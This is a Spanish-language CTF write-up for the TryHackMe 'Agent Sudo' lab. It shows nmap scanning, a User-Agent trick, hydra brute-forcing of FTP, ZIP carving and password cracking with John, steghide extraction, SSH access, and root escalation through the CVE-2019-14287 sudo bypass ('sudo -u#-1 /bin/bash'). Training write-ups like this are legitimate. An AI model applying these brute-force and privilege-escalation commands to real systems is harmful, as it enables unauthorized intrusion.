
Write-up de Sudo Agent CTF (TryHackMe), con enumeración, explotación web, esteganografía, SSH y escalada de privilegios mediante CVE-2019-14287.

Write-up de Sudo Agent CTF (TryHackMe), con enumeración, explotación web, esteganografía, SSH y escalada de privilegios mediante CVE-2019-14287.
| Item | Información |
|---|---|
| Plataforma | TryHackMe |
| Sistema | Linux |
| Dificultad | Easy |
| Objetivo | Web exploitation, FTP,SSH, esteganografía y escalada de privilegios |
| CVE | CVE-2019-14287 |
| Estado | Completed ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
El primer paso de la etapa de reconocimiento fue identificar los puertos abiertos. Realicé el escaneo de puertos con nmap:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Al realizar el análisis de la aplicación web, me encontré con el siguiente mensaje:
La aplicación web mostró un mensaje del Agent R indicando que el acceso dependía de un User-Agent específico.
Realicé el cambio del User-Agent, utilizando el User-Agent switcher, a REDACTED, y fue posible visualizar el mensaje:
El mensaje reveló información sobre uno de los agentes e indicó que su contraseña era débil.
Con el usuario encontrado y sabiendo que su contraseña era débil, realicé brute force con hydra:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
¡Hydra logró devolver la contraseña del agentC con éxito!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
Las credenciales obtenidas permitieron el acceso al servicio FTP.
En el FTP se encontraron archivos de texto e imágenes.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Realicé la descarga de los archivos para analizarlos.
Inicié el análisis visualizando el contenido del archivo de texto To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
El archivo se trata de un mensaje enviado por el agent C al agent J. Descubrimos que existe una credencial oculta en uno de los archivos de imagen.
Con la herramienta Binwalk, identifiqué que el archivo cutie.png contenía un archivo ZIP cifrado, cuyo contenido era el archivo To_agentR.txt.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Para leer el archivo necesito extraerlo y descubrir su contraseña. Realicé la extracción del archivo:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
O Binwalk indicó que el archivo ZIP comenzaba en el offset 34562. Utilicé ese valor para extraer a partir de ese punto y generar el archivo ZIP por separado.
Y la extracción del hash:
zip2john *.zip > hash.txt
Y ahora vamos a descubrir la contraseña con la ayuda de John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
Después de descomprimir el archivo utilicé la contraseña encontrada:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
Tenemos un código en base64 que necesitamos decodificar
echo "QXJlYTUx" | base64 -d
REDACTED
Después de obtener la contraseña utilizada en la esteganografía, utilicé Steghide para extraer el mensaje oculto en la imagen cute-alien.jpg.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
El mensaje decodificado se envió al archivo message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
El mensaje traía el nombre del agent J y su contraseña.
Utilicé las credenciales del agent J para realizar acceso vía SSH. Tras el acceso exitoso, localicé el archivo llamado user_flag.txt y otro archivo de imagen.
ls
Alien_autospy.jpg user_flag.txt
Tras obtener acceso vía SSH, encontré el archivo Alien_autospy.jpg.
Realicé un análisis de la imagen y, a continuación, utilicé técnicas de OSINT para identificar el origen y el contexto de la fotografía.
Mediante una búsqueda en fuentes públicas, fue posible asociar la imagen al caso.

Antes de intentar escalar privilegios, verifiqué los permisos sudo del usuario actual:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
La configuración presentada por sudo -l era vulnerable a la CVE-2019-14287.
Esta vulnerabilidad permite eludir determinadas restricciones de ejecución de sudo utilizando un UID especial, como -1, que puede interpretarse de forma equivalente al usuario root en versiones vulnerables.
Fue posible escalar privilegios especificando el usuario como -1:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
El comando resultó en una shell con privilegios de root.
Abusando de los privilegios obtenidos, navegué hasta la carpeta root y accedí al archivo root.txt donde encontré las dos últimas flags:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R